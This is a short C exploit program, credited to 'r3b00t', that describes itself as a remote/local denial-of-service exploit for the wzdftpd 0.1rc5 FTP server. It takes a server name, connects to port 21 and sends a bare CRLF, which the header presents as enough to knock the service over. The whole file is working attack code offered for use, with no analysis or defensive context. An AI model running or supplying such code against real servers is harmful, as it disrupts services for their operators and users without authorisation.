/*
 wzdftpdos.c for 0.1rc5 by r3b00t <r3b00t@tx.pl>
 -----------------------------------------------
 remote/local wzdftpd 0.1rc5 DoS exploit
 website: https://www.r3b00t.tx.pl/
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>

int sock=0;

int main(int argc, char* argv[]) {
    struct hostent *hp;
    struct sockaddr_in addr;
    printf("wzdftpdos.c for 0.1rc5 by r3b00t <r3b00t@tx.pl>\n");
    if (argc<2) { printf("usage: %s <server>\n", argv[0]); exit(0); }
    hp=gethostbyname(argv[1]);
    if (!hp) { printf("can't resolve %s\n", argv[1]); exit(0); }
    bzero((char *)&addr, sizeof(addr));
    if ((sock=socket(AF_INET, SOCK_STREAM, 0))<0) {
  printf("can't create socket\n");
  exit(0);
    }
    bcopy(hp->h_addr, (char *)&addr.sin_addr, hp->h_length);
    addr.sin_family=AF_INET;
    addr.sin_port=htons(21);
    if (connect(sock, (struct sockaddr *)&addr, sizeof(addr))!=0) {
        printf("can't connect to %s\n", argv[1]);
        close(sock);
        exit(0);
    }
    printf("sending \\r\\n ... ");
    send(sock, "\r\n", 2, 0);
    shutdown(sock, 2);
    close(sock);
    printf("done.\n");
    return 0;
}